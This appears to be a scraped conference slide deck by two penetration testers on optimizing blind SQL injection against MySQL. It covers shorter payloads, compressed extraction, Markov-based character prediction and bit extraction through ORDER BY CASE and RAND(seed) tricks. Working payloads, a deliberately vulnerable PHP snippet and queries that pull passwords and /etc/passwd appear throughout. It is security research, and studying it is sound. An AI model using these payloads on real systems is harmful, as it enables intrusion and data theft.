Louis <louis@securusglobal.com>
Luke <luke@securusglobal.com>
SELECT user FROM mysql.user LIMIT 2
• Security consultants working for Securus Global in
  Melbourne


• Have done/are doing a lot a web pentesting


• Research focus on web security:
   –   Web Attacks
   –   Web Application Scanners (WAS) testing
   –   Web Application Firewall (WAF) testing
   –   (In)Secure coding
Why do we want to optimize SQL
             injections?
• Stealth

• Retrieving a large amount of data

• Being faster

• Because you’re bored using sqlmap

• Because it’s fun
What can be optimized?
• Length of the injection

• Number of requests to retrieve information
  – Optimize retrieval strategy
  – Optimizations on information
Reducing injection length (MySQL)
• SUBSTR() instead of SUBSTRING()

• MID() instead of SUBSTR()

• Using CRC32()
  – Instead of using the long string you replace it with
    the CRC32
Reducing injection length (MySQL)
• SELECT@@version instead of
SELECT VERSION()

• &&1 instead of AND 1=1
• &1 instead of &&1

• ||1 instead of OR 1=1
• |1 instead of ||1 (fails for NULL|1)
Reducing injection length (MySQL)
• !id instead of id=0

• > instead of <= (don’t forget to swap the
String Retrieval
• LENGTH('admin') = 5
  – 5 * 7 bits = 35 requests

• LENGTH(COMPRESS('admin')) = 17
  – 17 * 7 bits = 119 requests
Original vs Compressed
• Based on CVE allitems.txt
  – about 47,000 VARCHAR(1000)


SELECT ROUND(AVG(
  LENGTH(COMPRESS(SUBSTRING(
    text,1,N
  )))
)) FROM texts
Harder Faster Stronger
Harder Faster Stronger
How to get 80 characters?
SELECT COMPRESS(CONCAT_WS(':',
 id,name,age,address,password
)) FROM users

SELECT
 GROUP_CONCAT(user,password)
FROM users;
• 1024 Character limit
Hash Retrieval
• LENGTH(MD5('X')) = 32
  – 32 * 7 bits = 224 requests

• LENGTH(COMPRESS(MD5('X')) = 44
  – 44 * 7 bits = 308 requests
Hash Retrieval
• Hash keyspace [0-9a-f]

• LENGTH(UNHEX(MD5(‘X’))) = 16
  – Need to retrieve all 8 bits
  – 16 x 8 bits = 128 requests
Integer Retrieval
• “131” → 3 x 7bits

• 131 → 8 bits

• Dichotomy search

• Use CONV()
Improving Detection
• AND 1=0 --’ AND 1=0 --” AND 1=0 --

• AND 1=0 --’ AND 1=0 --” AND 1=0 --

• AND 1=0 --’ AND 1=0 --” AND 1=0 --

• Really good payload to detect SQL injection in
  one request
Data prediction
Using Markov
• Given the current characters what is the next
  character most likely going to be

• Learning from a list of table names, column
  names and data to get a model of the data

• For each request check if the character is the
  one predicted before trying to retrieve his 7
  bits
Tree
• Based on the information already retrieved
  guess the next characters

• For example if I already retrieved RUX, the
  next character is likely to be C … for RUXCON

• And if you don’t have anything in your tree
  matching, you can use markov
Tree learning process
Tree learning process
Guessing process
• You already have “RU”
Statistics
• No optimisation: 3345

• Markov: 3102

• Markov + Lowercase: 3006

• Markov + Lowercase + Tree: 1166

• Updating the tree when retrieving information
  can be used as well, but not always effective
Maximising information
retrieved for each request
Vulnerability
…
$o = $_GET['order'];
$sql = 'SELECT * FROM users';
$sql .= 'ORDER BY ';
$sql .= mysql_real_escape_string($o);
$result = mysql_sql($sql);
…
Exploitation
• Slow brute force:
     – Blindly check each character against the alphabet


• A bit better:

IF   (ASCII(substring((select   @@version),1,1))&1, id, name)
IF   (ASCII(substring((select   @@version),1,1))&2, id, name)
IF   (ASCII(substring((select   @@version),1,1))&4, id, name)
IF   (ASCII(substring((select   @@version),1,1))&8, id, name)
IF   (ASCII(substring((select   @@version),1,1))&16, id, name)
IF   (ASCII(substring((select   @@version),1,1))&32, id, name)
IF   (ASCII(substring((select   @@version),1,1))&64, id, name)

IF (ASCII(substring((select @@version),2,1))&1, id, name)
Exploitation

• Blind SQLi: 2 states
• We can do better...
     – Let say we have 4 columns:
             => 4 states
     – order by can sort by multiple columns:
             “order by firstname, lastname”
             => more states (8 if lucky)
     – Color Blind SQLi (copyright Nicolas Collignon)
Exploitation

• For each combinations of order by:
   – fingerprint the response (with cast for id)
   – md5 for global warming
• SQL has a case statement:
CASE   (ASCII(substring((select @@version),1,1))&4)
WHEN   0 then column1
WHEN   1 then column2
WHEN   2 then column3
WHEN   3 then column4
END
Exploitation

## Retrieving ----XXXX
CASE (ASCII(substring((select @@version),1,1))&3) when
0 then id when 1 then name when 2 then age when 3
then groupid END ASC, CASE ((ASCII(substring((select
@@version),1,1))&12)>>2) when 0 then id when 1 then
name when 2 then age when 3 then groupid END ASC

## Retrieving XXXX----
CASE ((ASCII(substring((select @@version),1,1))&48)>>4)
when 0 then id when 1 then name when 2 then age when
3 then groupid END ASC, CASE
((ASCII(substring((select @@version),1,1))&192)>>6)
when 0 then id when 1 then name when 2 then age when
3 then groupid END ASC

                    © Securus Global 2010
Exploitation
SELECT id,username
FROM users


    id          username
    1           admin
    2           moderator
    3           guest
Exploitation
SELECT id,username
FROM users
ORDER BY RAND()
    id          username
    2           moderator
    1           admin
    3           guest
Exploitation
SELECT id,username
FROM users
ORDER BY RAND()
    id          username
    3           guest
    2           moderator
    1           admin
Exploitation
SELECT id,username
FROM users
ORDER BY RAND(1)
    id          username
    3           guest
    1           admin
    2           moderator
Exploitation
SELECT id,username
FROM users
ORDER BY RAND(1)
    id          username
    3           guest
    1           admin
    2           moderator
Exploitation
RAND seed         Order of id
0                 1,2,3
1                 3,1,2
2                 2,3,1
3                 3,2,1
4                 1,2,3
Exploitation
RAND seed    Order of id   Bits
0            1,2,3         00
1            3,1,2         01
2            2,3,1         10
3            3,2,1         11
Exploitation
RAND(
  CONV(
    CONCAT(
      IF((true/false),0,1),
      IF((true/false),0,1)
    )
    ,2,10
  )
)
Exploitation
Statistics
Rows        Bits
2-6         1
7           5
8           5
9           9
10          11
11          12
12          13
13          17
Real World Scenario
• 7 rows
• Can retrieve 5 bits per request

• 1830 characters (14640 bits) in /etc/passwd
• Retrieve with 2930 requests

• 740 characters for compressed /etc/passwd
• Retrieved with 1186 requests
Harder Faster Stronger
Source available tomorrow at:



  https://github.com/lukejahnke
Questions?

More Related Content

PDF
Getting Started with Infrastructure as Code
PDF
Cloud Computing Using OpenStack
PPTX
Terraform modules restructured
PDF
Docker & kubernetes
PDF
Deploy resources on Azure using IaC (Azure Terraform)
PPTX
AWS solution Architect Associate study material
PPTX
Google Cloud Platform (GCP)
PPTX
Building an Enterprise-scale DevSecOps Infrastructure: Lessons Learned
Getting Started with Infrastructure as Code
Cloud Computing Using OpenStack
Terraform modules restructured
Docker & kubernetes
Deploy resources on Azure using IaC (Azure Terraform)
AWS solution Architect Associate study material
Google Cloud Platform (GCP)
Building an Enterprise-scale DevSecOps Infrastructure: Lessons Learned

What's hot (20)

PDF
Grafana Loki: like Prometheus, but for Logs
PDF
Grafana introduction
PPTX
DevOps: Infrastructure as Code
PPTX
PPTX
How to Get Started with DevSecOps
PPTX
Introduction To Terraform
PDF
Deployment Automation & Self-Healing with Dynatrace & Ansible
PDF
Finding Your Way in Container Security
PDF
Terraform
PDF
Google Cloud Platform Training | Introduction To GCP | Google Cloud Platform ...
PDF
Interview Questions for Azure Security.pdf
PPTX
Microsoft Azure Networking Basics
PPTX
Infrastructure-as-Code (IaC) using Terraform
PPTX
Introduction to microservices
PDF
Oracle Cloud Reference Architecture
PDF
Introduction to Testcontainers
PPT
Monitoring using Prometheus and Grafana
PDF
Introducing rubrik a new approach to data protection
PDF
Cloud Forensics and Incident Response Training.pdf
PDF
DevOps Best Practices
Grafana Loki: like Prometheus, but for Logs
Grafana introduction
DevOps: Infrastructure as Code
How to Get Started with DevSecOps
Introduction To Terraform
Deployment Automation & Self-Healing with Dynatrace & Ansible
Finding Your Way in Container Security
Terraform
Google Cloud Platform Training | Introduction To GCP | Google Cloud Platform ...
Interview Questions for Azure Security.pdf
Microsoft Azure Networking Basics
Infrastructure-as-Code (IaC) using Terraform
Introduction to microservices
Oracle Cloud Reference Architecture
Introduction to Testcontainers
Monitoring using Prometheus and Grafana
Introducing rubrik a new approach to data protection
Cloud Forensics and Incident Response Training.pdf
DevOps Best Practices
Ad

Viewers also liked (6)

PPT
Think aloud
PDF
Ruxmon feb 2013 what happened to rails
PDF
Ln monitoring repositories
PDF
Owasp tds
PDF
Defcon CTF quals
Think aloud
Ruxmon feb 2013 what happened to rails
Ln monitoring repositories
Owasp tds
Defcon CTF quals
Ad

Similar to Harder Faster Stronger (20)

PPTX
MongoDB for Time Series Data Part 3: Sharding
PPT
NOSQL and Cassandra
PPTX
Memcached-инъекции - они существуют и работают, Иван Новиков (ONsec)
PDF
Solr @ Etsy - Apache Lucene Eurocon
PPT
ZFConf 2011: Что такое Sphinx, зачем он вообще нужен и как его использовать с...
PDF
Cassandra Community Webinar | Introduction to Apache Cassandra 1.2
PDF
Cassandra Community Webinar - Introduction To Apache Cassandra 1.2
PDF
Lie to Me: Bypassing Modern Web Application Firewalls
PDF
MongoDB: Optimising for Performance, Scale & Analytics
PDF
Haskell for data science
PPTX
2014 05-07-fr - add dev series - session 6 - deploying your application-2
PPTX
SQLITE PARA UNA BUENA ADMINISTRACION DE DATOS EN LAS EMPRESAS
PDF
Scaling MySQL Strategies for Developers
PPTX
How did i steal your database CSCamp2011
PDF
A Cassandra + Solr + Spark Love Triangle Using DataStax Enterprise
PDF
Apache Cassandra - Data modelling
PPT
SMS Spam Filter Design Using R: A Machine Learning Approach
PDF
SequoiaDB Distributed Relational Database
PPTX
MongoDB for Time Series Data: Sharding
PDF
Artem Storozhuk - Search over encrypted records: from academic dreams to prod...
MongoDB for Time Series Data Part 3: Sharding
NOSQL and Cassandra
Memcached-инъекции - они существуют и работают, Иван Новиков (ONsec)
Solr @ Etsy - Apache Lucene Eurocon
ZFConf 2011: Что такое Sphinx, зачем он вообще нужен и как его использовать с...
Cassandra Community Webinar | Introduction to Apache Cassandra 1.2
Cassandra Community Webinar - Introduction To Apache Cassandra 1.2
Lie to Me: Bypassing Modern Web Application Firewalls
MongoDB: Optimising for Performance, Scale & Analytics
Haskell for data science
2014 05-07-fr - add dev series - session 6 - deploying your application-2
SQLITE PARA UNA BUENA ADMINISTRACION DE DATOS EN LAS EMPRESAS
Scaling MySQL Strategies for Developers
How did i steal your database CSCamp2011
A Cassandra + Solr + Spark Love Triangle Using DataStax Enterprise
Apache Cassandra - Data modelling
SMS Spam Filter Design Using R: A Machine Learning Approach
SequoiaDB Distributed Relational Database
MongoDB for Time Series Data: Sharding
Artem Storozhuk - Search over encrypted records: from academic dreams to prod...

More from snyff (7)

PDF
JWT: jku x5u
PDF
Code that gets you pwn(s|'d)
PDF
Entomology 101
PDF
Entrepreneurship for hackers
PDF
Jwt == insecurity?
PDF
Finding Needles in Haystacks
PDF
Ruxmon cve 2012-2661
JWT: jku x5u
Code that gets you pwn(s|'d)
Entomology 101
Entrepreneurship for hackers
Jwt == insecurity?
Finding Needles in Haystacks
Ruxmon cve 2012-2661

Recently uploaded (20)

PPTX
Benefits of Physical activity for teenagers.pptx
PDF
Enhancing emotion recognition model for a student engagement use case through...
PPTX
observCloud-Native Containerability and monitoring.pptx
PPTX
O2C Customer Invoices to Receipt V15A.pptx
PPTX
The various Industrial Revolutions .pptx
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PDF
Zenith AI: Advanced Artificial Intelligence
PDF
Architecture types and enterprise applications.pdf
PDF
A novel scalable deep ensemble learning framework for big data classification...
PDF
NewMind AI Weekly Chronicles – August ’25 Week III
PDF
A review of recent deep learning applications in wood surface defect identifi...
PPTX
Web Crawler for Trend Tracking Gen Z Insights.pptx
PDF
Five Habits of High-Impact Board Members
PDF
Hindi spoken digit analysis for native and non-native speakers
PDF
Taming the Chaos: How to Turn Unstructured Data into Decisions
PDF
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
PDF
WOOl fibre morphology and structure.pdf for textiles
PDF
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
PDF
Getting started with AI Agents and Multi-Agent Systems
PDF
CloudStack 4.21: First Look Webinar slides
Benefits of Physical activity for teenagers.pptx
Enhancing emotion recognition model for a student engagement use case through...
observCloud-Native Containerability and monitoring.pptx
O2C Customer Invoices to Receipt V15A.pptx
The various Industrial Revolutions .pptx
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
Zenith AI: Advanced Artificial Intelligence
Architecture types and enterprise applications.pdf
A novel scalable deep ensemble learning framework for big data classification...
NewMind AI Weekly Chronicles – August ’25 Week III
A review of recent deep learning applications in wood surface defect identifi...
Web Crawler for Trend Tracking Gen Z Insights.pptx
Five Habits of High-Impact Board Members
Hindi spoken digit analysis for native and non-native speakers
Taming the Chaos: How to Turn Unstructured Data into Decisions
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
WOOl fibre morphology and structure.pdf for textiles
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
Getting started with AI Agents and Multi-Agent Systems
CloudStack 4.21: First Look Webinar slides

Harder Faster Stronger

  • 2. SELECT user FROM mysql.user LIMIT 2 • Security consultants working for Securus Global in Melbourne • Have done/are doing a lot a web pentesting • Research focus on web security: – Web Attacks – Web Application Scanners (WAS) testing – Web Application Firewall (WAF) testing – (In)Secure coding
  • 3. Why do we want to optimize SQL injections? • Stealth • Retrieving a large amount of data • Being faster • Because you’re bored using sqlmap • Because it’s fun
  • 4. What can be optimized? • Length of the injection • Number of requests to retrieve information – Optimize retrieval strategy – Optimizations on information
  • 5. Reducing injection length (MySQL) • SUBSTR() instead of SUBSTRING() • MID() instead of SUBSTR() • Using CRC32() – Instead of using the long string you replace it with the CRC32
  • 6. Reducing injection length (MySQL) • SELECT@@version instead of SELECT VERSION() • &&1 instead of AND 1=1 • &1 instead of &&1 • ||1 instead of OR 1=1 • |1 instead of ||1 (fails for NULL|1)
  • 7. Reducing injection length (MySQL) • !id instead of id=0 • > instead of <= (don’t forget to swap the
  • 8. String Retrieval • LENGTH('admin') = 5 – 5 * 7 bits = 35 requests • LENGTH(COMPRESS('admin')) = 17 – 17 * 7 bits = 119 requests
  • 9. Original vs Compressed • Based on CVE allitems.txt – about 47,000 VARCHAR(1000) SELECT ROUND(AVG( LENGTH(COMPRESS(SUBSTRING( text,1,N ))) )) FROM texts
  • 12. How to get 80 characters? SELECT COMPRESS(CONCAT_WS(':', id,name,age,address,password )) FROM users SELECT GROUP_CONCAT(user,password) FROM users; • 1024 Character limit
  • 13. Hash Retrieval • LENGTH(MD5('X')) = 32 – 32 * 7 bits = 224 requests • LENGTH(COMPRESS(MD5('X')) = 44 – 44 * 7 bits = 308 requests
  • 14. Hash Retrieval • Hash keyspace [0-9a-f] • LENGTH(UNHEX(MD5(‘X’))) = 16 – Need to retrieve all 8 bits – 16 x 8 bits = 128 requests
  • 15. Integer Retrieval • “131” → 3 x 7bits • 131 → 8 bits • Dichotomy search • Use CONV()
  • 16. Improving Detection • AND 1=0 --’ AND 1=0 --” AND 1=0 -- • AND 1=0 --’ AND 1=0 --” AND 1=0 -- • AND 1=0 --’ AND 1=0 --” AND 1=0 -- • Really good payload to detect SQL injection in one request
  • 18. Using Markov • Given the current characters what is the next character most likely going to be • Learning from a list of table names, column names and data to get a model of the data • For each request check if the character is the one predicted before trying to retrieve his 7 bits
  • 19. Tree • Based on the information already retrieved guess the next characters • For example if I already retrieved RUX, the next character is likely to be C … for RUXCON • And if you don’t have anything in your tree matching, you can use markov
  • 22. Guessing process • You already have “RU”
  • 23. Statistics • No optimisation: 3345 • Markov: 3102 • Markov + Lowercase: 3006 • Markov + Lowercase + Tree: 1166 • Updating the tree when retrieving information can be used as well, but not always effective
  • 25. Vulnerability … $o = $_GET['order']; $sql = 'SELECT * FROM users'; $sql .= 'ORDER BY '; $sql .= mysql_real_escape_string($o); $result = mysql_sql($sql); …
  • 26. Exploitation • Slow brute force: – Blindly check each character against the alphabet • A bit better: IF (ASCII(substring((select @@version),1,1))&1, id, name) IF (ASCII(substring((select @@version),1,1))&2, id, name) IF (ASCII(substring((select @@version),1,1))&4, id, name) IF (ASCII(substring((select @@version),1,1))&8, id, name) IF (ASCII(substring((select @@version),1,1))&16, id, name) IF (ASCII(substring((select @@version),1,1))&32, id, name) IF (ASCII(substring((select @@version),1,1))&64, id, name) IF (ASCII(substring((select @@version),2,1))&1, id, name)
  • 27. Exploitation • Blind SQLi: 2 states • We can do better... – Let say we have 4 columns: => 4 states – order by can sort by multiple columns: “order by firstname, lastname” => more states (8 if lucky) – Color Blind SQLi (copyright Nicolas Collignon)
  • 28. Exploitation • For each combinations of order by: – fingerprint the response (with cast for id) – md5 for global warming • SQL has a case statement: CASE (ASCII(substring((select @@version),1,1))&4) WHEN 0 then column1 WHEN 1 then column2 WHEN 2 then column3 WHEN 3 then column4 END
  • 29. Exploitation ## Retrieving ----XXXX CASE (ASCII(substring((select @@version),1,1))&3) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC, CASE ((ASCII(substring((select @@version),1,1))&12)>>2) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC ## Retrieving XXXX---- CASE ((ASCII(substring((select @@version),1,1))&48)>>4) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC, CASE ((ASCII(substring((select @@version),1,1))&192)>>6) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC © Securus Global 2010
  • 30. Exploitation SELECT id,username FROM users id username 1 admin 2 moderator 3 guest
  • 31. Exploitation SELECT id,username FROM users ORDER BY RAND() id username 2 moderator 1 admin 3 guest
  • 32. Exploitation SELECT id,username FROM users ORDER BY RAND() id username 3 guest 2 moderator 1 admin
  • 33. Exploitation SELECT id,username FROM users ORDER BY RAND(1) id username 3 guest 1 admin 2 moderator
  • 34. Exploitation SELECT id,username FROM users ORDER BY RAND(1) id username 3 guest 1 admin 2 moderator
  • 35. Exploitation RAND seed Order of id 0 1,2,3 1 3,1,2 2 2,3,1 3 3,2,1 4 1,2,3
  • 36. Exploitation RAND seed Order of id Bits 0 1,2,3 00 1 3,1,2 01 2 2,3,1 10 3 3,2,1 11
  • 37. Exploitation RAND( CONV( CONCAT( IF((true/false),0,1), IF((true/false),0,1) ) ,2,10 ) )
  • 39. Statistics Rows Bits 2-6 1 7 5 8 5 9 9 10 11 11 12 12 13 13 17
  • 40. Real World Scenario • 7 rows • Can retrieve 5 bits per request • 1830 characters (14640 bits) in /etc/passwd • Retrieve with 2930 requests • 740 characters for compressed /etc/passwd • Retrieved with 1186 requests
  • 42. Source available tomorrow at: https://github.com/lukejahnke